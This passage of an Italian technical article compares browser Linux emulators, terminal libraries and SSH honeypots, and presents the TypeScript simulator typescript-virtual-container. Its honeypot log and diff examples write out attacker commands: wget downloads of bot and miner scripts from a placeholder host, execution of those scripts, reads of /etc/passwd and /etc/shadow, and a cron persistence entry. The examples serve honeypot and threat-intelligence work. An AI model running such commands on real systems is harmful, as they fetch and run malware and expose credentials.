Sistemi operativi supportati: Alpine Linux (eccellente), Ubuntu 16.04/18.04 (solo i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (con limitazioni), MS-DOS.

Tempo di avvio: 15–40 secondi per Alpine Linux da un'immagine pulita. Questo è inerente all'inizializzazione reale del kernel -- non puoi saltarla. Sì, i tuoi utenti rimarranno seduti a guardare una sequenza di boot del kernel nel loro browser. È così xD

Consumo memoria: 100–256 MB per istanza. La cache JIT Wasm da sola può raggiungere decine di MB per un'istanza Linux attiva.

Uso in Node.js: pienamente supportato. Nessun DOM necessario -- l'output VGA può essere scartato se ti interessa solo la seriale.

Cosa non puoi fare: eseguire binari 64-bit, usare funzionalità moderne del kernel (eBPF, io_uring, ecc.), o eseguire più di una manciata di istanze contemporaneamente senza raggiungere i limiti di memoria.

npm: v86 -- aggiornato continuamente, ultima pubblicazione entro l'ultimo giorno al momento della scrittura.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux e TinyEMU -- il lavoro di Bellard, due volte

JSLinux è l'emulatore Linux JavaScript di Fabrice Bellard -- il primo in assoluto, pubblicato nel 2011. Continuo a menzionare Bellard in questo articolo perché continua a spuntare fuori: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Quest'uomo è qualcosa d'altro. Genuinaramente uno dei contributi tecnici individuali più impressionanti nella storia del software, senza esagerazione.

L'originale JSLinux era un interprete x86 JS puro. Nel 2016, Bellard ha scritto TinyEMU (un emulatore RISC-V in C), lo ha compilato in JavaScript tramite Emscripten, e questo è diventato la base per l'attuale JSLinux. Quindi l'attuale JSLinux è in realtà codice C che genera JavaScript -- non JS scritto a mano.

Le note tecniche sul sito di Bellard meritano una lettura: l'attuale JSLinux esegue una CPU RISC-V a 32 o 64-bit (non x86), emulando VirtIO console, VirtIO network, VirtIO block device e un filesystem 9P per la condivisione di file con l'host. La demo JS è compilata da C usando Emscripten -- non è JS scritto a mano.

TinyEMU stesso supporta:

  • RISC-V RV32IMAFDQC e RV64IMAFDQC (32 e 64-bit, con float, moltiplicazione, istruzioni compresse)
  • x86 tramite KVM (solo nativo, nessuna emulazione -- quindi la versione JS è solo RISC-V)
  • VirtIO console, network, block, input, filesystem 9P

TinyEMU ha una demo JavaScript fornita tramite Emscripten. È la base per JSLinux ed è anche usato da container2wasm (vedi sezione 2.5).

Stato JSLinux: nessun pacchetto npm, nessuna API programmatica. È una demo che apri nel browser. Il significato storico è alto -- ha dimostrato il concetto. Utilizzo pratico come libreria: nessuno.

TinyEMU: non su npm, sorgente C disponibile su bellard.org/tinyemu.


2.3 jor1k -- Emulatore OR1K

jor1k è un emulatore OpenRISC 1000 (OR1K) scritto in JavaScript da Sebastian Macke. È interessante storicamente perché jor1k ha introdotto il supporto VirtIO 9P, che Bellard ha successivamente incorporato in TinyEMU e JSLinux. L'impollinazione incrociata tra questi progetti è stretta -- si prendono in prestito a vicenda, che è onestamente una delle cose più fighe del lavoro di emulazione open source.

Stato: non più mantenuto attivamente, nessun pacchetto npm. Archiviato a questo punto. Vale la pena conoscerlo principalmente per contesto storico -- tipo se qualcuno menziona jor1k in una conversazione, ora sai cos'è :)


2.4 CheerpX -- Emulatore x86 commerciale per browser

CheerpX di Leaning Technologies è l'emulatore Linux x86 commerciale di livello produzione. Non è open source, ma è significativamente più capace di v86 per eseguire un vero userland Debian/Ubuntu. Se hai bisogno di un vero VSCode nel browser, è questo che usi.

Differenze chiave da v86:

  • Supporta un ISA più ampio (più estensioni x86, migliore compatibilità glibc)
  • Filesystem basato su IndexedDB nel browser (persistente tra ricariche di pagina)
  • Supporto pthread tramite SharedArrayBuffer (che richiede header COOP/COEP -- sì, quei fastidiosi header di sicurezza)
  • Progettato per eseguire VSCode, Python, Node.js e altre applicazioni reali -- non solo immagini OS minime
  • Supporto professionale e SLA disponibile (ovvero puoi urlare a qualcuno se si rompe)

Il caso d'uso tipico è "esegui una vera applicazione Linux nel browser senza server." Le aziende lo usano per IDE basati su browser, tutorial di programmazione e documentazione interattiva.

// CheerpX API (semplificata)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Storia Node.js: CheerpX è browser-first. L'emulatore sottostante potrebbe teoricamente funzionare in Node (è Wasm), ma l'API e la documentazione sono orientate interamente all'uso nel browser. L'uso lato server non è supportato.

Memoria: simile a v86 -- 200+ MB per un'istanza Debian reale.
Prezzi: gratuito per progetti open source, licenza commerciale per SaaS di produzione.
Documentazione: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js in Wasm, non emulazione Linux

I WebContainers sono spesso raggruppati con gli emulatori Linux ma sono architetturalmente diversi. Non emulano x86. Non avviano Linux. Eseguono Node.js compilato in WebAssembly usando WASI. Questa distinzione conta molto e ci sono rimasto confuso per troppo tempo lol.

Penso che la confusione venga dal marketing -- "esegui Node.js nel tuo browser" suona come emulazione, ma in realtà è Node.js stesso compilato in Wasm, non emulazione Linux che esegue Node.js dentro una VM. Roba completamente diversa.

L'architettura:

  1. Node.js è compilato in Wasm (specificamente un runtime WASI personalizzato)
  2. Un Service Worker intercetta le richieste di rete dal server Node.js emulato e le instrada alla scheda del browser
  3. Il filesystem vive nella memoria del browser (nessun I/O su disco)
  4. npm è un'implementazione personalizzata ottimizzata per l'uso nel browser
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Write files
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Run Node.js commands
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Poiché esegue Node.js reale (compilato in Wasm), ottieni vero npm, vere API Node.js e vera risoluzione dei moduli. Non ottieni un userland Linux per uso generico -- non puoi installare pacchetti di sistema con apt, eseguire binari compilati arbitrari o fare molto al di fuori dell'ecosistema Node.js.

Requisiti browser: SharedArrayBuffer (richiede header COOP/COEP), supporto Service Worker, Wasm moderno.

Storia Node.js: progettato esclusivamente per l'uso nel browser. L'API non funziona al di fuori di un contesto browser.

npm: @webcontainer/api
Documentazione: webcontainers.io


2.6 container2wasm -- Container Docker compilati in Wasm

container2wasm è uno strumento (non un pacchetto npm) di NTT che prende un'immagine container Docker e la converte in un binary WebAssembly che può essere eseguito in qualsiasi host Wasm -- incluso un browser. Quando l'ho visto per la prima volta, non credevo davvero funzionasse.

Il meccanismo:

  • Per container x86_64: incorpora Bochs (un emulatore x86, compilato in Wasm) + il filesystem root del container
  • Per container riscv64: incorpora TinyEMU (di nuovo Bellard!) + il filesystem root del container
  • Il file .wasm risultante avvia l'emulatore, monta il filesystem del container ed esegue l'entrypoint del container
# Convert Ubuntu 22.04 container to Wasm
c2w ubuntu:22.04 out.wasm

# Run it
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Or serve it for browser use
c2w --to-js ubuntu:22.04 /tmp/htdocs/

Il .wasm risultante è grande -- un'Ubuntu minima è diverse centinaia di MB -- ma è completamente autonomo. Puoi inviare via email un .wasm a qualcuno e loro possono eseguire Ubuntu nel loro browser. Questa frase non dovrebbe avere senso ma eccoci qui.

GitHub: container2wasm/container2wasm


Riepilogo della famiglia emulatori

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Architettura x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (proprietario) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Kernel reale ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
Pacchetto npm ✅ ❌ ❌ CDN/API ✅ ❌ (strumento CLI)
Uso Node.js ✅ ❌ ❌ ❌ ❌ (solo browser) tramite Wasmtime
Uso browser ✅ ✅ ✅ ✅ ✅ ✅
RAM/istanza 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
Tempo avvio 15–40s 10–30s 10–30s 15–40s 2–5s 10–40s
Open source ✅ ✅ ✅ ❌ parziale ✅
Stato ✅ molto attivo ✅ stabile ⚠️ archiviato ✅ commerciale ✅ attivo ✅ attivo

La cosa che salta all'occhio da questa tabella: v86 è l'unico che è un pacchetto npm, funziona sia in browser che Node, ed è open source. Ecco perché domina la conversazione sugli "emulatori Linux JavaScript." Tutto il resto ha qualche intoppo -- JSLinux non ha API, jor1k è archiviato, CheerpX costa soldi, WebContainers è solo browser e specifico per Node, container2wasm richiede un passaggio di build e una CLI. Se hai solo bisogno di "avviare Linux in JavaScript", v86 è quasi sempre il punto di partenza giusto.


Parte 3 -- Stack terminale: xterm.js e node-pty

Due pacchetti compaiono costantemente quando le persone costruiscono esperienze shell-like. Non sono sandbox o emulatori -- sono l'interfaccia utente e la componentistica PTY -- ma sono così affini che mi sentirei male a escluderli. Inoltre li ho usati entrambi e sono davvero buoni.

3.1 xterm.js -- il renderer di terminale

xterm.js è un emulatore di terminale per il browser. Renderizza una schermata di terminale (sequenze di escape VT100/xterm) in un elemento <canvas>, gestisce l'input da tastiera ed espone un'API per il piping dei dati in entrata e in uscita.

Usato da: terminale integrato di VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell e molti altri.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Send data to the terminal (rendered as text)
term.write("$ ");
term.onData(data => {
  // data is keystrokes -- send to your backend
  socket.send(data);
});
socket.onmessage(msg => {
  // output from backend -- display it
  term.write(msg.data);
});

xterm.js è solo il livello di rendering. Non esegue una shell. Non interpreta comandi. È un widget di visualizzazione che colleghi a qualsiasi backend tu voglia. Molte persone pensano che xterm.js "faccia il terminale" ma in realtà è solo lo schermo -- devi comunque collegarlo a qualcosa che esegue effettivamente i comandi.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- Spawn PTY

node-pty spawna uno pseudoterminale (PTY) in Node.js e ti dà un handle di lettura/scrittura. Usato con xterm.js, ti permette di costruire un terminale browser che parla con una shell reale (bash, zsh, fish) in esecuzione sul server.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Send to browser xterm.js via WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Forward browser keystrokes to shell
  shell.write(data);
});

Questo è lo schema standard per cloud IDE e terminali web: xterm.js (browser) ↔ WebSocket ↔ node-pty ↔ bash reale. Nessun isolamento. La shell viene eseguita con tutti i permessi del processo Node.js (o dell'utente che lo esegue).

Mantenuto da: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Parte 4 -- Honeypot SSH

Gli honeypot sono progettati per essere attaccati. L'obiettivo è sembrare abbastanza reali che gli attaccanti interagiscano con loro, registrando tutto ciò che fanno per intelligence sulle minacce. SSH è il bersaglio principale perché è il servizio più attaccato su internet -- se esponi la porta 22 su un IP pubblico, vedrai tentativi di scansione automatica nel giro di pochi minuti. Provaci qualche volta, è piuttosto inquietante quanto velocemente accada.

La qualità di un honeypot si misura con due cose: fedeltà (quanto convincentemente finge di essere un sistema reale) e telemetria (quanti dati utili cattura). Queste sono in tensione. Un honeypot ad alta fedeltà è più difficile da costruire e più rischioso da operare.

Questa sezione è ciò che alla fine mi ha portato a costruire il modulo HoneyPot in typescript-virtual-container, quindi ho qualche opinione qui.

4.1 Cowrie -- lo standard aureo

Cowrie è un honeypot SSH e Telnet a interazione medio-alta basato su Python. È l'honeypot SSH più ampiamente distribuito nella comunità della ricerca e sicurezza.

Architettura:

  • Livello protocollo: implementazione reale del protocollo SSH (Twisted Conch), quindi gli attaccanti ottengono handshake reali, scambio di chiavi reale, autenticazione reale
  • Livello shell: un filesystem finto (simile a Debian 5.0) e un interprete di shell parziale che risponde ai comandi comuni
  • Modalità proxy: può inoltrare a un sistema reale dietro di esso (modalità ad alta interazione), registrando tutto ciò che passa
  • Modalità LLM (aggiunta recente): usa un modello linguistico per generare risposte dinamiche a comandi che non sa gestire -- sì, Cowrie ora ha una modalità AI. Tempi selvaggi.
# What Cowrie captures
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie salva i file scaricati (tramite wget/curl/SFTP/SCP) per l'analisi del malware. Si integra con Splunk, Elasticsearch e altre piattaforme SIEM.

Fedeltà: medio-alta. Abbastanza convincente da ingannare i bot automatici (che è il 99% degli attaccanti SSH -- la maggior parte sono solo stupidi script che provano root/password). Gli umani sofisticati possono comunque fingerprintarlo, di solito abbastanza rapidamente.

Linguaggio: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- il predecessore di Cowrie

Kippo è l'honeypot SSH a interazione media originale su cui si basava Cowrie. Stessa idea di base: vero protocollo SSH, filesystem finto, shell parziale. Cowrie lo ha completamente sostituito a questo punto -- Kippo è archiviato e nessuno dovrebbe usarlo nel 2026. Menzionato qui puramente per completezza storica, dato che potresti vederlo citato in vecchi post del blog e articoli di sicurezza.

GitHub: desaster/kippo -- archiviato


4.3 endlessh -- il tarpit SSH

endlessh è un honeypot degenerato: mantiene le connessioni SSH aperte gocciolando lentamente dati del banner a 1 byte al secondo (o più lentamente). Un client SSH che si connette rimarrà in sospeso indefinitamente -- non arriverà mai all'autenticazione perché il server non finisce mai di inviare il banner.

L'obiettivo non è l'intelligence sulle minacce ma la pura negazione di risorse: bloccare i thread di scansione degli attaccanti così non possono colpire bersagli reali altrettanto velocemente. È onestamente piuttosto malvagio nel miglior modo possibile. Non impari nulla dall'attaccante -- stai solo sprecando il loro tempo. C'è qualcosa di profondamente soddisfacente in questo.

// endlessh's entire protocol behavior:
// Send: "SSH-2.0-OpenSSH_" then slowly append random chars
// Never close the connection
// Attacker scanner times out after N seconds

Nessun comando viene catturato. Nessuna autenticazione viene testata. Solo tempo di connessione.

Scritto in: C
GitHub: skeeto/endlessh


4.4 sshesame -- l'honeypot "fai entrare tutti"

sshesame accetta ogni connessione SSH (qualsiasi username, qualsiasi password, qualsiasi chiave) e registra tutto. È un honeypot a interazione zero: non risponde ai comandi, lascia semplicemente "entrare" gli attaccanti e registra ogni tasto che digitano.

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

Utile per la raccolta di credenziali: accumuli rapidamente gli username e le password che i bot provano, il che ti dice quali credenziali predefinite vengono attivamente brute-forzate. Spoiler: è sempre root/password, admin/admin e root/123456. Ogni volta.

GitHub: jaksi/sshesame


4.5 Lyrebird -- Framework honeypot basato su Docker

lyrebird/honeypot-base è un'immagine Docker base per costruire honeypot di servizi di rete. Non è uno specifico honeypot SSH -- è un framework per costruire honeypot per qualsiasi protocollo.

L'immagine base fornisce un framework di logging, un sistema di plugin per i protocolli e configurazioni Docker Compose per honeypot multi-servizio. La estendi per fingere servizi specifici.

Docker Hub: lyrebird/honeypot-base


4.6 Costruire un honeypot SSH in Node.js -- il modo ingenuo, e perché fallisce

Prima di typescript-virtual-container, costruire un honeypot SSH in Node.js significava combinare la vera libreria ssh2 con la falsificazione manuale dei comandi. Molto tedioso, molto incompleto, ma tipo... è un rito di passaggio a questo punto:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Log the attempt
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Let everyone in
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Fake response
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Questo "funziona" nel senso che cattura credenziali e comandi. Ma è ovviamente falso nel momento in cui un attaccante sofisticato ci prova. uname -a restituisce la stringa giusta ma ls /etc restituisce "command not found" è un giveaway. Il filesystem non esiste. I comandi non si incatenano. Le pipe non funzionano. Le variabili non si espandono.

Un attaccante esperto fingerprinterà il tuo honeypot nei primi cinque comandi. Anche gli script automatizzati che cercano comportamenti simili a Cowrie lo rileveranno immediatamente. Questo è apparentemente ciò che ha spinto l'autrice di typescript-virtual-container verso la costruzione di qualcosa che interpreta effettivamente i comandi per davvero -- più su questo nella Parte 5.


Riepilogo della famiglia honeypot

Cowrie Kippo endlessh sshesame Lyrebird ssh2 ingenuo
Livello interazione medio-alto medio zero zero variabile basso
Protocollo SSH reale ✅ ✅ ❌ (tarpit) ✅ variabile ✅
Fedeltà shell media media n/a nessuna variabile minima
Cattura credenziali ✅ ✅ ❌ ✅ ✅ ✅
Cattura comandi ✅ ✅ ❌ ✅ variabile ✅
Cattura malware ✅ ✅ ❌ ❌ ❌ ❌
Integrazione SIEM ✅ nativa ❌ ❌ ❌ ❌ manuale
Risposte LLM ✅ (nuovo) ❌ ❌ ❌ ❌ ❌
Linguaggio Python Python C Go Docker Node.js
Node.js nativo ❌ ❌ ❌ ❌ ❌ ✅
Stato ✅ molto attivo ⚠️ archiviato ✅ attivo ✅ attivo ✅ attivo Fai da te

Il modello qui è piuttosto chiaro: più fedeltà vuoi, più Python devi scrivere. Cowrie è il chiaro vincitore se stai facendo questo seriamente -- è stato testato sul campo per anni e cattura molto più delle sole credenziali. endlessh e sshesame sono progetti divertenti più che strumenti seri di threat intelligence. E l'approccio Node.js ingenuo ti porta forse al 20% del percorso prima di colpire un muro.


Parte 5 -- typescript-virtual-container: cosa colma il divario

OK, quindi qui è dove le cose diventano interessanti. Dopo aver catalogato tutte le famiglie di cui sopra, il quadrante mancante diventa piuttosto ovvio:

  • Sandbox JS: isolano codice, niente shell, niente filesystem, niente SSH
  • Emulatori Linux: vero OS, vera shell, vero SSH... ma 150+ MB RAM, 30 secondi di avvio, e devi costruire la tua API sopra I/O seriale
  • Honeypot: shell finta, nessuna API programmatica, Python/Go/C, non Node-nativo

Nessuno aveva costruito un ambiente Linux completo, programmatico, Node-nativo con vero SSH, veri permessi, vera rete virtuale e un'API TypeScript tipizzata. Quindi lei l'ha costruito.

Breve introduzione dato che è la prima volta che la menziono propriamente: typescript-virtual-container è stato costruito da Chloé Rolzhausen, una sviluppatrice francese che si fa chiamare Fortune (o ItsRealFortune) online. Puoi trovarla sul suo sito web e su LinkedIn. L'intero progetto -- 56k righe di TypeScript, 247 file, 170 comandi -- è stato uno sforzo solitario di una singola persona. La chiamerò Fortune per il resto dell'articolo. E sì, è piuttosto pazzesco. Dai un'occhiata alle sue cose!

Cosa è realmente

typescript-virtual-container è un simulatore di ambiente Linux scritto in puro TypeScript. Niente Wasm. Niente addon nativi. Niente kernel. ~56.000 righe di codice sorgente in 247 file TypeScript.

L'intuizione chiave: non hai bisogno di un emulatore CPU per far funzionare ls /etc | grep passwd. Hai bisogno di:

  1. Un albero di nodi in memoria che rispondono a operazioni sui percorsi
  2. Un modello di permessi POSIX imposto su ogni accesso
  3. Un parser di shell che capisca pipeline, redirezioni, subshell ed espansione di variabili
  4. ~170 implementazioni di comandi (funzioni, non binari)
  5. Un sistema di gestione utenti e gruppi
  6. Qualcosa per esporre tutto questo via SSH

Tutto questo è realizzabile in puro TypeScript senza coinvolgimento del kernel.

Il VirtualFileSystem

Il VFS è un albero in memoria di nodi tipizzati -- nessun I/O su disco a meno che non abiliti esplicitamente la modalità di persistenza "fs":

// Simplified internal representation
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // lazy-loaded placeholder

Ogni operazione sui percorsi passa attraverso normalizePath (risolve ., .., symlink) e enforceAccess (controlla i permessi di lettura/scrittura/esecuzione rispetto all'uid/gid richiedente). chmod, chown, sticky bit e setuid sono tutti implementati e realmente imposti. Se un processo in esecuzione come uid 1000 tenta di leggere un file di proprietà di root con modalità 0600, ottiene EACCES -- non un finto EACCES, un vero Error JavaScript lanciato dal controllo dei permessi. Quella parte è piuttosto elegante onestamente.

Il VFS si serializza in:

  • .vfsb -- un formato binario compatto (personalizzato, con compressione fflate) -- questo è il predefinito
  • Snapshot JSON -- leggibile dall'umano, buono per il debug
  • Archivio TAR -- import/export con vero formato tar, quindi puoi tar -xf qualcosa e il VFS ha... quei file
  • Immagine SquashFS -- import di sola lettura

In modalità di persistenza "fs", mantiene un journal write-ahead (WAL) per il recupero da crash -- le scritture vanno prima al journal, poi allo snapshot durante il flush. Se Node si blocca a metà operazione, il journal ti permette di ricostruire l'ultimo stato completo.

C'è anche un livello FileCache che simula la latenza I/O del disco. Configuri profili come NVME_DISK_IO o HDD_DISK_IO e il VFS ritarda artificialmente le operazioni sui file per corrispondere a tempistiche realistiche. Il che è piuttosto divertente -- software che si rallenta intenzionalmente per simulare hardware -- ma in realtà molto utile per il benchmarking.

L'interprete di shell

Il parser di shell produce un AST tipizzato:

// "ls /etc | grep root && echo done" parses to:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

L'esecutore percorre questo AST:

  • Per una pipeline, crea una catena di stream { stdin, stdout, stderr } ed esegue ogni comando con I/O pipe
  • Per operatori logici (&&, ||), controlla $? dopo il lato sinistro prima di eseguire il destro
  • Per subshell ($(...), ` `), forkia il contesto di esecuzione
  • Per redirezioni (>file, >>file, 2>&1, <file), imposta il wiring degli stream prima dell'esecuzione
  • Per job in background (cmd &), esegue senza attendere il completamento
  • Per variabili, espande $VAR, ${VAR:-default}, ${#VAR}, e aritmetica $((expr))
  • Per espansione di parentesi ({a,b,c}, {1..5}), genera la lista di espansione completa prima di eseguire

Tutto questo è vero comportamento POSIX della shell. Il parser gestisce heredoc, sostituzione di processo, globbing (*, ?, [abc]) e gestione delle virgolette (virgolette singole, virgolette doppie con interpolazione, escaping con backslash). Non è perfetto -- esistono casi limite -- ma è molto oltre ciò che ti aspetteresti da un progetto TypeScript.

~170 comandi integrati

I comandi sono funzioni TypeScript registrate in un registro comandi. Ricevono un CommandContext con stream stdin/stdout/stderr, il VFS, la sessione utente, l'ambiente della shell e l'accesso a sottomoduli.

Scrivere 170 implementazioni di comandi Unix è... un sacco. Alcuni sono banali (echo, true, false), alcuni sono sorprendentemente complessi (awk, find, tar). Tipo, un vero awk POSIX? In TypeScript? È pazzesco onestamente. Ecco un campione di ciò che c'è:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (client-side, connecting out),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (full interactive editor), vim (basic), vi (basic),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulated), systemctl (stubbed), journalctl (stubbed),
...and ~130 more

Gli "stub" (git, python3, node) rispondono realisticamente a invocazioni comuni -- python3 --version restituisce una stringa di versione credibile, git status mostra uno stato del repo finto -- senza fare lavoro reale. Per un honeypot, questi sono in realtà più utili delle cose reali, perché ti permettono di osservare cosa gli attaccanti cercano di eseguire senza effettivamente eseguire nulla di dannoso.

Il server SSH

Il livello SSH usa il vero pacchetto npm ssh2 -- vero protocollo SSH, vero scambio di chiavi, vera crittografia. SSHMimic lo avvolge:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// Real SSH: ssh -p 2222 root@localhost
// Real SFTP: sftp -P 2222 root@localhost
// Real SCP: scp -P 2222 file root@localhost:/tmp/

Le shellProperties determinano cosa riportano uname -a, lsb_release -a, neofetch, /proc/version e /etc/os-release. Puoi impersonare qualsiasi distribuzione Linux e versione del kernel in modo convincente -- per un vero client SSH non c'è letteralmente modo di notare la differenza.

Il modulo HoneyPot

Poiché l'interprete della shell è reale e il server SSH è reale, i comandi degli attaccanti vengono effettivamente eseguiti nell'ambiente virtuale. Le richieste wget attivate dall'attaccante vengono registrate con gli URL di destinazione. I file creati dall'attaccante vengono salvati nel VFS. I tentativi di escalation dei permessi dell'attaccante producono errori realistici.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// After a session, diff the filesystem
const before = shell.vfs.toSnapshot();
// ... attacker session ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Questo è qualitativamente diverso da Cowrie. Il filesystem finto di Cowrie può rispondere a ls ma non può effettivamente tracciare quali file un attaccante ha creato e quali modifiche ha apportato come diff strutturato. typescript-virtual-container può farlo, perché il VFS è una struttura dati viva -- ogni scrittura è tracciata. Quella voce cron che l'attaccante ha appena aggiunto? È nel diff. Quella cartella .hidden? Nel diff. Abbastanza utile per l'analisi del malware.

Lo stack di rete virtuale

Questa è probabilmente la parte più impressionante dell'intero progetto, e non ha equivalenti in nessun altro progetto in questo spazio. Tipo, una piena rete virtuale L2/L3 con supporto VPN, scritta in puro TypeScript, senza coinvolgere adattatori di rete reali. È genuinamente pazzesco.

VirtualNetworkManager dà a ogni istanza VirtualShell interfacce di rete virtuali con indirizzi IP configurabili, tabelle di routing e un firewall software (regole in stile iptables con conntrack e NAT). ip addr, ip route, iptables -L, netstat -rn mostrano tutti lo stato della rete virtuale.

VirtualSwitch (chiamato Baie -- dalla parola francese per un rack di server, "baie informatique") collega più shell su una subnet condivisa. Implementa:

  • Apprendimento MAC e ARP
  • Routing IP tra subnet
  • NAT (masquerade in uscita)
  • DNS (record configurabili per subnet)
  • Bilanciamento del carico (round-robin, least-connections)
  • Traffic shaping: latenza, jitter (distribuzione gaussiana), perdita di pacchetti, burst loss, riordinamento, duplicazione
  • Limitazione della larghezza di banda (token bucket)
  • Imposizione MTU
  • Tracciamento delle connessioni (stateful, con stati NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Three virtual machines on the same switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web can reach api, api can reach db, web cannot reach db directly
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Traffic shaping: simulate a flaky WAN link to the outside
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn crea tunnel crittografati tra istanze Baie -- puoi simulare una rete multi-sito con interconnessioni VPN tra siti.

VirtualProxy implementa port forwarding e un proxy SOCKS5.

Niente di tutto questo tocca un adattatore di rete reale. È tutto routing di oggetti TypeScript. Il comando ping "funziona" instradando attraverso lo switch virtuale e restituendo risposte ICMP simulate. curl http://192.168.0.3/api instrada attraverso la rete virtuale, colpisce la risposta HTTP simulata della shell api e restituisce il contenuto. Sono tartarughe fino in fondo, nel miglior modo possibile.

La SandboxedShell

Per uso programmatico dove hai bisogno di un isolamento più forte, SandboxedShell esegue una sessione shell in un Node.js Worker thread:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% of one core
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

